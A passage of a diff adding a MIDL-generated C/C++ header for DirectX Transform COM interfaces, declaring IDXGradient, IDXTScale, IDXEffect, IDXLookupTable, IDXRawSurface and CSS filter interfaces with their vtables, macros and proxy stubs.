BEGIN_INTERFACE + + HRESULT ( STDMETHODCALLTYPE *QueryInterface )( + IDXGradient * This, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppvObject); + + ULONG ( STDMETHODCALLTYPE *AddRef )( + IDXGradient * This); + + ULONG ( STDMETHODCALLTYPE *Release )( + IDXGradient * This); + + HRESULT ( STDMETHODCALLTYPE *SetOutputSize )( + IDXGradient * This, + /* [in] */ const SIZE OutSize, + /* [in] */ BOOL bMaintainAspect); + + HRESULT ( STDMETHODCALLTYPE *SetGradient )( + IDXGradient * This, + DXSAMPLE StartColor, + DXSAMPLE EndColor, + BOOL bHorizontal); + + HRESULT ( STDMETHODCALLTYPE *GetOutputSize )( + IDXGradient * This, + /* [out] */ SIZE *pOutSize); + + END_INTERFACE + } IDXGradientVtbl; + + interface IDXGradient + { + CONST_VTBL struct IDXGradientVtbl *lpVtbl; + }; + + + +#ifdef COBJMACROS + + +#define IDXGradient_QueryInterface(This,riid,ppvObject) \ + (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) + +#define IDXGradient_AddRef(This) \ + (This)->lpVtbl -> AddRef(This) + +#define IDXGradient_Release(This) \ + (This)->lpVtbl -> Release(This) + + +#define IDXGradient_SetOutputSize(This,OutSize,bMaintainAspect) \ + (This)->lpVtbl -> SetOutputSize(This,OutSize,bMaintainAspect) + + +#define IDXGradient_SetGradient(This,StartColor,EndColor,bHorizontal) \ + (This)->lpVtbl -> SetGradient(This,StartColor,EndColor,bHorizontal) + +#define IDXGradient_GetOutputSize(This,pOutSize) \ + (This)->lpVtbl -> GetOutputSize(This,pOutSize) + +#endif /* COBJMACROS */ + + +#endif /* C style interface */ + + + +HRESULT STDMETHODCALLTYPE IDXGradient_SetGradient_Proxy( + IDXGradient * This, + DXSAMPLE StartColor, + DXSAMPLE EndColor, + BOOL bHorizontal); + + +void __RPC_STUB IDXGradient_SetGradient_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IDXGradient_GetOutputSize_Proxy( + IDXGradient * This, + /* [out] */ SIZE *pOutSize); + + +void __RPC_STUB IDXGradient_GetOutputSize_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + + +#endif /* __IDXGradient_INTERFACE_DEFINED__ */ + + +#ifndef __IDXTScale_INTERFACE_DEFINED__ +#define __IDXTScale_INTERFACE_DEFINED__ + +/* interface IDXTScale */ +/* [local][unique][helpstring][uuid][object] */ + + +EXTERN_C const IID IID_IDXTScale; + +#if defined(__cplusplus) && !defined(CINTERFACE) + + MIDL_INTERFACE("B39FD742-E139-11d1-9065-00C04FD9189D") + IDXTScale : public IUnknown + { + public: + virtual HRESULT STDMETHODCALLTYPE SetScales( + /* [in] */ float Scales[ 2 ]) = 0; + + virtual HRESULT STDMETHODCALLTYPE GetScales( + /* [out] */ float Scales[ 2 ]) = 0; + + virtual HRESULT STDMETHODCALLTYPE ScaleFitToSize( + /* [out][in] */ DXBNDS *pClipBounds, + /* [in] */ SIZE FitToSize, + /* [in] */ BOOL bMaintainAspect) = 0; + + }; + +#else /* C style interface */ + + typedef struct IDXTScaleVtbl + { + BEGIN_INTERFACE + + HRESULT ( STDMETHODCALLTYPE *QueryInterface )( + IDXTScale * This, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppvObject); + + ULONG ( STDMETHODCALLTYPE *AddRef )( + IDXTScale * This); + + ULONG ( STDMETHODCALLTYPE *Release )( + IDXTScale * This); + + HRESULT ( STDMETHODCALLTYPE *SetScales )( + IDXTScale * This, + /* [in] */ float Scales[ 2 ]); + + HRESULT ( STDMETHODCALLTYPE *GetScales )( + IDXTScale * This, + /* [out] */ float Scales[ 2 ]); + + HRESULT ( STDMETHODCALLTYPE *ScaleFitToSize )( + IDXTScale * This, + /* [out][in] */ DXBNDS *pClipBounds, + /* [in] */ SIZE FitToSize, + /* [in] */ BOOL bMaintainAspect); + + END_INTERFACE + } IDXTScaleVtbl; + + interface IDXTScale + { + CONST_VTBL struct IDXTScaleVtbl *lpVtbl; + }; + + + +#ifdef COBJMACROS + + +#define IDXTScale_QueryInterface(This,riid,ppvObject) \ + (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) + +#define IDXTScale_AddRef(This) \ + (This)->lpVtbl -> AddRef(This) + +#define IDXTScale_Release(This) \ + (This)->lpVtbl -> Release(This) + + +#define IDXTScale_SetScales(This,Scales) \ + (This)->lpVtbl -> SetScales(This,Scales) + +#define IDXTScale_GetScales(This,Scales) \ + (This)->lpVtbl -> GetScales(This,Scales) + +#define IDXTScale_ScaleFitToSize(This,pClipBounds,FitToSize,bMaintainAspect) \ + (This)->lpVtbl -> ScaleFitToSize(This,pClipBounds,FitToSize,bMaintainAspect) + +#endif /* COBJMACROS */ + + +#endif /* C style interface */ + + + +HRESULT STDMETHODCALLTYPE IDXTScale_SetScales_Proxy( + IDXTScale * This, + /* [in] */ float Scales[ 2 ]); + + +void __RPC_STUB IDXTScale_SetScales_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IDXTScale_GetScales_Proxy( + IDXTScale * This, + /* [out] */ float Scales[ 2 ]); + + +void __RPC_STUB IDXTScale_GetScales_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IDXTScale_ScaleFitToSize_Proxy( + IDXTScale * This, + /* [out][in] */ DXBNDS *pClipBounds, + /* [in] */ SIZE FitToSize, + /* [in] */ BOOL bMaintainAspect); + + +void __RPC_STUB IDXTScale_ScaleFitToSize_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + + +#endif /* __IDXTScale_INTERFACE_DEFINED__ */ + + +/* interface __MIDL_itf_dxtrans_0276 */ +/* [local] */ + +typedef +enum DISPIDDXEFFECT + { DISPID_DXECAPABILITIES = 10000, + DISPID_DXEPROGRESS = DISPID_DXECAPABILITIES + 1, + DISPID_DXESTEP = DISPID_DXEPROGRESS + 1, + DISPID_DXEDURATION = DISPID_DXESTEP + 1, + DISPID_DXE_NEXT_ID = DISPID_DXEDURATION + 1 + } DISPIDDXBOUNDEDEFFECT; + +typedef +enum DXEFFECTTYPE + { DXTET_PERIODIC = 1 << 0, + DXTET_MORPH = 1 << 1 + } DXEFFECTTYPE; + + + +extern RPC_IF_HANDLE __MIDL_itf_dxtrans_0276_v0_0_c_ifspec; +extern RPC_IF_HANDLE __MIDL_itf_dxtrans_0276_v0_0_s_ifspec; + +#ifndef __IDXEffect_INTERFACE_DEFINED__ +#define __IDXEffect_INTERFACE_DEFINED__ + +/* interface IDXEffect */ +/* [dual][unique][helpstring][uuid][object] */ + + +EXTERN_C const IID IID_IDXEffect; + +#if defined(__cplusplus) && !defined(CINTERFACE) + + MIDL_INTERFACE("E31FB81B-1335-11d1-8189-0000F87557DB") + IDXEffect : public IDispatch + { + public: + virtual /* [id][propget] */ HRESULT STDMETHODCALLTYPE get_Capabilities( + /* [retval][out] */ long *pVal) = 0; + + virtual /* [id][propget] */ HRESULT STDMETHODCALLTYPE get_Progress( + /* [retval][out] */ float *pVal) = 0; + + virtual /* [id][propput] */ HRESULT STDMETHODCALLTYPE put_Progress( + /* [in] */ float newVal) = 0; + + virtual /* [id][propget] */ HRESULT STDMETHODCALLTYPE get_StepResolution( + /* [retval][out] */ float *pVal) = 0; + + virtual /* [id][propget] */ HRESULT STDMETHODCALLTYPE get_Duration( + /* [retval][out] */ float *pVal) = 0; + + virtual /* [id][propput] */ HRESULT STDMETHODCALLTYPE put_Duration( + /* [in] */ float newVal) = 0; + + }; + +#else /* C style interface */ + + typedef struct IDXEffectVtbl + { + BEGIN_INTERFACE + + HRESULT ( STDMETHODCALLTYPE *QueryInterface )( + IDXEffect * This, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppvObject); + + ULONG ( STDMETHODCALLTYPE *AddRef )( + IDXEffect * This); + + ULONG ( STDMETHODCALLTYPE *Release )( + IDXEffect * This); + + HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( + IDXEffect * This, + /* [out] */ UINT *pctinfo); + + HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( + IDXEffect * This, + /* [in] */ UINT iTInfo, + /* [in] */ LCID lcid, + /* [out] */ ITypeInfo **ppTInfo); + + HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( + IDXEffect * This, + /* [in] */ REFIID riid, + /* [size_is][in] */ LPOLESTR *rgszNames, + /* [in] */ UINT cNames, + /* [in] */ LCID lcid, + /* [size_is][out] */ DISPID *rgDispId); + + /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( + IDXEffect * This, + /* [in] */ DISPID dispIdMember, + /* [in] */ REFIID riid, + /* [in] */ LCID lcid, + /* [in] */ WORD wFlags, + /* [out][in] */ DISPPARAMS *pDispParams, + /* [out] */ VARIANT *pVarResult, + /* [out] */ EXCEPINFO *pExcepInfo, + /* [out] */ UINT *puArgErr); + + /* [id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Capabilities )( + IDXEffect * This, + /* [retval][out] */ long *pVal); + + /* [id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Progress )( + IDXEffect * This, + /* [retval][out] */ float *pVal); + + /* [id][propput] */ HRESULT ( STDMETHODCALLTYPE *put_Progress )( + IDXEffect * This, + /* [in] */ float newVal); + + /* [id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_StepResolution )( + IDXEffect * This, + /* [retval][out] */ float *pVal); + + /* [id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Duration )( + IDXEffect * This, + /* [retval][out] */ float *pVal); + + /* [id][propput] */ HRESULT ( STDMETHODCALLTYPE *put_Duration )( + IDXEffect * This, + /* [in] */ float newVal); + + END_INTERFACE + } IDXEffectVtbl; + + interface IDXEffect + { + CONST_VTBL struct IDXEffectVtbl *lpVtbl; + }; + + + +#ifdef COBJMACROS + + +#define IDXEffect_QueryInterface(This,riid,ppvObject) \ + (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) + +#define IDXEffect_AddRef(This) \ + (This)->lpVtbl -> AddRef(This) + +#define IDXEffect_Release(This) \ + (This)->lpVtbl -> Release(This) + + +#define IDXEffect_GetTypeInfoCount(This,pctinfo) \ + (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) + +#define IDXEffect_GetTypeInfo(This,iTInfo,lcid,ppTInfo) \ + (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) + +#define IDXEffect_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) \ + (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) + +#define IDXEffect_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) \ + (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) + + +#define IDXEffect_get_Capabilities(This,pVal) \ + (This)->lpVtbl -> get_Capabilities(This,pVal) + +#define IDXEffect_get_Progress(This,pVal) \ + (This)->lpVtbl -> get_Progress(This,pVal) + +#define IDXEffect_put_Progress(This,newVal) \ + (This)->lpVtbl -> put_Progress(This,newVal) + +#define IDXEffect_get_StepResolution(This,pVal) \ + (This)->lpVtbl -> get_StepResolution(This,pVal) + +#define IDXEffect_get_Duration(This,pVal) \ + (This)->lpVtbl -> get_Duration(This,pVal) + +#define IDXEffect_put_Duration(This,newVal) \ + (This)->lpVtbl -> put_Duration(This,newVal) + +#endif /* COBJMACROS */ + + +#endif /* C style interface */ + + + +/* [id][propget] */ HRESULT STDMETHODCALLTYPE IDXEffect_get_Capabilities_Proxy( + IDXEffect * This, + /* [retval][out] */ long *pVal); + + +void __RPC_STUB IDXEffect_get_Capabilities_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [id][propget] */ HRESULT STDMETHODCALLTYPE IDXEffect_get_Progress_Proxy( + IDXEffect * This, + /* [retval][out] */ float *pVal); + + +void __RPC_STUB IDXEffect_get_Progress_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [id][propput] */ HRESULT STDMETHODCALLTYPE IDXEffect_put_Progress_Proxy( + IDXEffect * This, + /* [in] */ float newVal); + + +void __RPC_STUB IDXEffect_put_Progress_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [id][propget] */ HRESULT STDMETHODCALLTYPE IDXEffect_get_StepResolution_Proxy( + IDXEffect * This, + /* [retval][out] */ float *pVal); + + +void __RPC_STUB IDXEffect_get_StepResolution_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [id][propget] */ HRESULT STDMETHODCALLTYPE IDXEffect_get_Duration_Proxy( + IDXEffect * This, + /* [retval][out] */ float *pVal); + + +void __RPC_STUB IDXEffect_get_Duration_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [id][propput] */ HRESULT STDMETHODCALLTYPE IDXEffect_put_Duration_Proxy( + IDXEffect * This, + /* [in] */ float newVal); + + +void __RPC_STUB IDXEffect_put_Duration_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + + +#endif /* __IDXEffect_INTERFACE_DEFINED__ */ + + +#ifndef __IDXLookupTable_INTERFACE_DEFINED__ +#define __IDXLookupTable_INTERFACE_DEFINED__ + +/* interface IDXLookupTable */ +/* [local][unique][helpstring][uuid][object] */ + + +EXTERN_C const IID IID_IDXLookupTable; + +#if defined(__cplusplus) && !defined(CINTERFACE) + + MIDL_INTERFACE("01BAFC7F-9E63-11d1-9053-00C04FD9189D") + IDXLookupTable : public IDXBaseObject + { + public: + virtual HRESULT STDMETHODCALLTYPE GetTables( + /* [out] */ BYTE RedLUT[ 256 ], + /* [out] */ BYTE GreenLUT[ 256 ], + /* [out] */ BYTE BlueLUT[ 256 ], + /* [out] */ BYTE AlphaLUT[ 256 ]) = 0; + + virtual HRESULT STDMETHODCALLTYPE IsChannelIdentity( + /* [out] */ DXBASESAMPLE *pSampleBools) = 0; + + virtual HRESULT STDMETHODCALLTYPE GetIndexValues( + /* [in] */ ULONG Index, + /* [out] */ DXBASESAMPLE *pSample) = 0; + + virtual HRESULT STDMETHODCALLTYPE ApplyTables( + /* [out][in] */ DXSAMPLE *pSamples, + /* [in] */ ULONG cSamples) = 0; + + }; + +#else /* C style interface */ + + typedef struct IDXLookupTableVtbl + { + BEGIN_INTERFACE + + HRESULT ( STDMETHODCALLTYPE *QueryInterface )( + IDXLookupTable * This, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppvObject); + + ULONG ( STDMETHODCALLTYPE *AddRef )( + IDXLookupTable * This); + + ULONG ( STDMETHODCALLTYPE *Release )( + IDXLookupTable * This); + + HRESULT ( STDMETHODCALLTYPE *GetGenerationId )( + IDXLookupTable * This, + /* [out] */ ULONG *pID); + + HRESULT ( STDMETHODCALLTYPE *IncrementGenerationId )( + IDXLookupTable * This, + /* [in] */ BOOL bRefresh); + + HRESULT ( STDMETHODCALLTYPE *GetObjectSize )( + IDXLookupTable * This, + /* [out] */ ULONG *pcbSize); + + HRESULT ( STDMETHODCALLTYPE *GetTables )( + IDXLookupTable * This, + /* [out] */ BYTE RedLUT[ 256 ], + /* [out] */ BYTE GreenLUT[ 256 ], + /* [out] */ BYTE BlueLUT[ 256 ], + /* [out] */ BYTE AlphaLUT[ 256 ]); + + HRESULT ( STDMETHODCALLTYPE *IsChannelIdentity )( + IDXLookupTable * This, + /* [out] */ DXBASESAMPLE *pSampleBools); + + HRESULT ( STDMETHODCALLTYPE *GetIndexValues )( + IDXLookupTable * This, + /* [in] */ ULONG Index, + /* [out] */ DXBASESAMPLE *pSample); + + HRESULT ( STDMETHODCALLTYPE *ApplyTables )( + IDXLookupTable * This, + /* [out][in] */ DXSAMPLE *pSamples, + /* [in] */ ULONG cSamples); + + END_INTERFACE + } IDXLookupTableVtbl; + + interface IDXLookupTable + { + CONST_VTBL struct IDXLookupTableVtbl *lpVtbl; + }; + + + +#ifdef COBJMACROS + + +#define IDXLookupTable_QueryInterface(This,riid,ppvObject) \ + (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) + +#define IDXLookupTable_AddRef(This) \ + (This)->lpVtbl -> AddRef(This) + +#define IDXLookupTable_Release(This) \ + (This)->lpVtbl -> Release(This) + + +#define IDXLookupTable_GetGenerationId(This,pID) \ + (This)->lpVtbl -> GetGenerationId(This,pID) + +#define IDXLookupTable_IncrementGenerationId(This,bRefresh) \ + (This)->lpVtbl -> IncrementGenerationId(This,bRefresh) + +#define IDXLookupTable_GetObjectSize(This,pcbSize) \ + (This)->lpVtbl -> GetObjectSize(This,pcbSize) + + +#define IDXLookupTable_GetTables(This,RedLUT,GreenLUT,BlueLUT,AlphaLUT) \ + (This)->lpVtbl -> GetTables(This,RedLUT,GreenLUT,BlueLUT,AlphaLUT) + +#define IDXLookupTable_IsChannelIdentity(This,pSampleBools) \ + (This)->lpVtbl -> IsChannelIdentity(This,pSampleBools) + +#define IDXLookupTable_GetIndexValues(This,Index,pSample) \ + (This)->lpVtbl -> GetIndexValues(This,Index,pSample) + +#define IDXLookupTable_ApplyTables(This,pSamples,cSamples) \ + (This)->lpVtbl -> ApplyTables(This,pSamples,cSamples) + +#endif /* COBJMACROS */ + + +#endif /* C style interface */ + + + +HRESULT STDMETHODCALLTYPE IDXLookupTable_GetTables_Proxy( + IDXLookupTable * This, + /* [out] */ BYTE RedLUT[ 256 ], + /* [out] */ BYTE GreenLUT[ 256 ], + /* [out] */ BYTE BlueLUT[ 256 ], + /* [out] */ BYTE AlphaLUT[ 256 ]); + + +void __RPC_STUB IDXLookupTable_GetTables_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IDXLookupTable_IsChannelIdentity_Proxy( + IDXLookupTable * This, + /* [out] */ DXBASESAMPLE *pSampleBools); + + +void __RPC_STUB IDXLookupTable_IsChannelIdentity_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IDXLookupTable_GetIndexValues_Proxy( + IDXLookupTable * This, + /* [in] */ ULONG Index, + /* [out] */ DXBASESAMPLE *pSample); + + +void __RPC_STUB IDXLookupTable_GetIndexValues_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IDXLookupTable_ApplyTables_Proxy( + IDXLookupTable * This, + /* [out][in] */ DXSAMPLE *pSamples, + /* [in] */ ULONG cSamples); + + +void __RPC_STUB IDXLookupTable_ApplyTables_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + + +#endif /* __IDXLookupTable_INTERFACE_DEFINED__ */ + + +/* interface __MIDL_itf_dxtrans_0278 */ +/* [local] */ + +typedef struct DXRAWSURFACEINFO + { + BYTE *pFirstByte; + long lPitch; + ULONG Width; + ULONG Height; + const GUID *pPixelFormat; + HDC hdc; + DWORD dwColorKey; + DXBASESAMPLE *pPalette; + } DXRAWSURFACEINFO; + + + +extern RPC_IF_HANDLE __MIDL_itf_dxtrans_0278_v0_0_c_ifspec; +extern RPC_IF_HANDLE __MIDL_itf_dxtrans_0278_v0_0_s_ifspec; + +#ifndef __IDXRawSurface_INTERFACE_DEFINED__ +#define __IDXRawSurface_INTERFACE_DEFINED__ + +/* interface IDXRawSurface */ +/* [local][unique][helpstring][uuid][object] */ + + +EXTERN_C const IID IID_IDXRawSurface; + +#if defined(__cplusplus) && !defined(CINTERFACE) + + MIDL_INTERFACE("09756C8A-D96A-11d1-9062-00C04FD9189D") + IDXRawSurface : public IUnknown + { + public: + virtual HRESULT STDMETHODCALLTYPE GetSurfaceInfo( + DXRAWSURFACEINFO *pSurfaceInfo) = 0; + + }; + +#else /* C style interface */ + + typedef struct IDXRawSurfaceVtbl + { + BEGIN_INTERFACE + + HRESULT ( STDMETHODCALLTYPE *QueryInterface )( + IDXRawSurface * This, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppvObject); + + ULONG ( STDMETHODCALLTYPE *AddRef )( + IDXRawSurface * This); + + ULONG ( STDMETHODCALLTYPE *Release )( + IDXRawSurface * This); + + HRESULT ( STDMETHODCALLTYPE *GetSurfaceInfo )( + IDXRawSurface * This, + DXRAWSURFACEINFO *pSurfaceInfo); + + END_INTERFACE + } IDXRawSurfaceVtbl; + + interface IDXRawSurface + { + CONST_VTBL struct IDXRawSurfaceVtbl *lpVtbl; + }; + + + +#ifdef COBJMACROS + + +#define IDXRawSurface_QueryInterface(This,riid,ppvObject) \ + (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) + +#define IDXRawSurface_AddRef(This) \ + (This)->lpVtbl -> AddRef(This) + +#define IDXRawSurface_Release(This) \ + (This)->lpVtbl -> Release(This) + + +#define IDXRawSurface_GetSurfaceInfo(This,pSurfaceInfo) \ + (This)->lpVtbl -> GetSurfaceInfo(This,pSurfaceInfo) + +#endif /* COBJMACROS */ + + +#endif /* C style interface */ + + + +HRESULT STDMETHODCALLTYPE IDXRawSurface_GetSurfaceInfo_Proxy( + IDXRawSurface * This, + DXRAWSURFACEINFO *pSurfaceInfo); + + +void __RPC_STUB IDXRawSurface_GetSurfaceInfo_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + + +#endif /* __IDXRawSurface_INTERFACE_DEFINED__ */ + + +#ifndef __IHTMLDXTransform_INTERFACE_DEFINED__ +#define __IHTMLDXTransform_INTERFACE_DEFINED__ + +/* interface IHTMLDXTransform */ +/* [local][unique][helpstring][uuid][object] */ + + +EXTERN_C const IID IID_IHTMLDXTransform; + +#if defined(__cplusplus) && !defined(CINTERFACE) + + MIDL_INTERFACE("30E2AB7D-4FDD-4159-B7EA-DC722BF4ADE5") + IHTMLDXTransform : public IUnknown + { + public: + virtual HRESULT STDMETHODCALLTYPE SetHostUrl( + BSTR bstrHostUrl) = 0; + + }; + +#else /* C style interface */ + + typedef struct IHTMLDXTransformVtbl + { + BEGIN_INTERFACE + + HRESULT ( STDMETHODCALLTYPE *QueryInterface )( + IHTMLDXTransform * This, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppvObject); + + ULONG ( STDMETHODCALLTYPE *AddRef )( + IHTMLDXTransform * This); + + ULONG ( STDMETHODCALLTYPE *Release )( + IHTMLDXTransform * This); + + HRESULT ( STDMETHODCALLTYPE *SetHostUrl )( + IHTMLDXTransform * This, + BSTR bstrHostUrl); + + END_INTERFACE + } IHTMLDXTransformVtbl; + + interface IHTMLDXTransform + { + CONST_VTBL struct IHTMLDXTransformVtbl *lpVtbl; + }; + + + +#ifdef COBJMACROS + + +#define IHTMLDXTransform_QueryInterface(This,riid,ppvObject) \ + (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) + +#define IHTMLDXTransform_AddRef(This) \ + (This)->lpVtbl -> AddRef(This) + +#define IHTMLDXTransform_Release(This) \ + (This)->lpVtbl -> Release(This) + + +#define IHTMLDXTransform_SetHostUrl(This,bstrHostUrl) \ + (This)->lpVtbl -> SetHostUrl(This,bstrHostUrl) + +#endif /* COBJMACROS */ + + +#endif /* C style interface */ + + + +HRESULT STDMETHODCALLTYPE IHTMLDXTransform_SetHostUrl_Proxy( + IHTMLDXTransform * This, + BSTR bstrHostUrl); + + +void __RPC_STUB IHTMLDXTransform_SetHostUrl_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + + +#endif /* __IHTMLDXTransform_INTERFACE_DEFINED__ */ + + +/* interface __MIDL_itf_dxtrans_0280 */ +/* [local] */ + +typedef +enum DXTFILTER_STATUS + { DXTFILTER_STATUS_Stopped = 0, + DXTFILTER_STATUS_Applied = DXTFILTER_STATUS_Stopped + 1, + DXTFILTER_STATUS_Playing = DXTFILTER_STATUS_Applied + 1, + DXTFILTER_STATUS_MAX = DXTFILTER_STATUS_Playing + 1 + } DXTFILTER_STATUS; + +typedef +enum DXTFILTER_DISPID + { DISPID_DXTFilter_Percent = 1, + DISPID_DXTFilter_Duration = DISPID_DXTFilter_Percent + 1, + DISPID_DXTFilter_Enabled = DISPID_DXTFilter_Duration + 1, + DISPID_DXTFilter_Status = DISPID_DXTFilter_Enabled + 1, + DISPID_DXTFilter_Apply = DISPID_DXTFilter_Status + 1, + DISPID_DXTFilter_Play = DISPID_DXTFilter_Apply + 1, + DISPID_DXTFilter_Stop = DISPID_DXTFilter_Play + 1, + DISPID_DXTFilter_MAX = DISPID_DXTFilter_Stop + 1 + } DXTFILTER_DISPID; + + + +extern RPC_IF_HANDLE __MIDL_itf_dxtrans_0280_v0_0_c_ifspec; +extern RPC_IF_HANDLE __MIDL_itf_dxtrans_0280_v0_0_s_ifspec; + +#ifndef __ICSSFilterDispatch_INTERFACE_DEFINED__ +#define __ICSSFilterDispatch_INTERFACE_DEFINED__ + +/* interface ICSSFilterDispatch */ +/* [dual][unique][helpstring][uuid][object] */ + + +EXTERN_C const IID IID_ICSSFilterDispatch; + +#if defined(__cplusplus) && !defined(CINTERFACE) + + MIDL_INTERFACE("9519152B-9484-4A6C-B6A7-4F25E92D6C6B") + ICSSFilterDispatch : public IDispatch + { + public: + virtual /* [id][propget] */ HRESULT STDMETHODCALLTYPE get_Percent( + /* [retval][out] */ float *pVal) = 0; + + virtual /* [id][propput] */ HRESULT STDMETHODCALLTYPE put_Percent( + /* [in] */ float newVal) = 0; + + virtual /* [id][propget] */ HRESULT STDMETHODCALLTYPE get_Duration( + /* [retval][out] */ float *pVal) = 0; + + virtual /* [id][propput] */ HRESULT STDMETHODCALLTYPE put_Duration( + /* [in] */ float newVal) = 0; + + virtual /* [id][propget] */ HRESULT STDMETHODCALLTYPE get_Enabled( + /* [retval][out] */ VARIANT_BOOL *pfVal) = 0; + + virtual /* [id][propput] */ HRESULT STDMETHODCALLTYPE put_Enabled( + /* [in] */ VARIANT_BOOL fVal) = 0; + + virtual /* [id][propget] */ HRESULT STDMETHODCALLTYPE get_Status( + /* [retval][out] */ DXTFILTER_STATUS *peVal) = 0; + + virtual /* [id] */ HRESULT STDMETHODCALLTYPE Apply( void) = 0; + + virtual /* [id] */ HRESULT STDMETHODCALLTYPE Play( + /* [optional][in] */ VARIANT varDuration) = 0; + + virtual /* [id] */ HRESULT STDMETHODCALLTYPE Stop( void) = 0; + + }; + +#else /* C style interface */ + + typedef struct ICSSFilterDispatchVtbl + { + BEGIN_INTERFACE + + HRESULT ( STDMETHODCALLTYPE *QueryInterface )( + ICSSFilterDispatch * This, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppvObject); + + ULONG ( STDMETHODCALLTYPE *AddRef )( + ICSSFilterDispatch * This); + + ULONG ( STDMETHODCALLTYPE *Release )( + ICSSFilterDispatch * This); + + HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( + ICSSFilterDispatch * This, + /* [out] */ UINT *pctinfo); + + HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( + ICSSFilterDispatch * This, + /* [in] */ UINT iTInfo, + /* [in] */ LCID lcid, + /* [out] */ ITypeInfo **ppTInfo); + + HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( + ICSSFilterDispatch * This, + /* [in] */ REFIID riid, + /* [size_is][in] */ LPOLESTR *rgszNames, + /* [in] */ UINT cNames, + /* [in] */ LCID lcid, + /* [size_is][out] */ DISPID *rgDispId); + + /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( + ICSSFilterDispatch * This, + /* [in] */ DISPID dispIdMember, + /* [in] */ REFIID riid, + /* [in] */ LCID lcid, + /* [in] */ WORD wFlags, + /* [out][in] */ DISPPARAMS *pDispParams, + /* [out] */ VARIANT *pVarResult, + /* [out] */ EXCEPINFO *pExcepInfo, + /* [out] */ UINT *puArgErr); + + /* [id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Percent )( + ICSSFilterDispatch * This, + /* [retval][out] */ float *pVal); + + /* [id][propput] */ HRESULT ( STDMETHODCALLTYPE *put_Percent )( + ICSSFilterDispatch * This, + /* [in] */ float newVal); + + /* [id][propget] */ 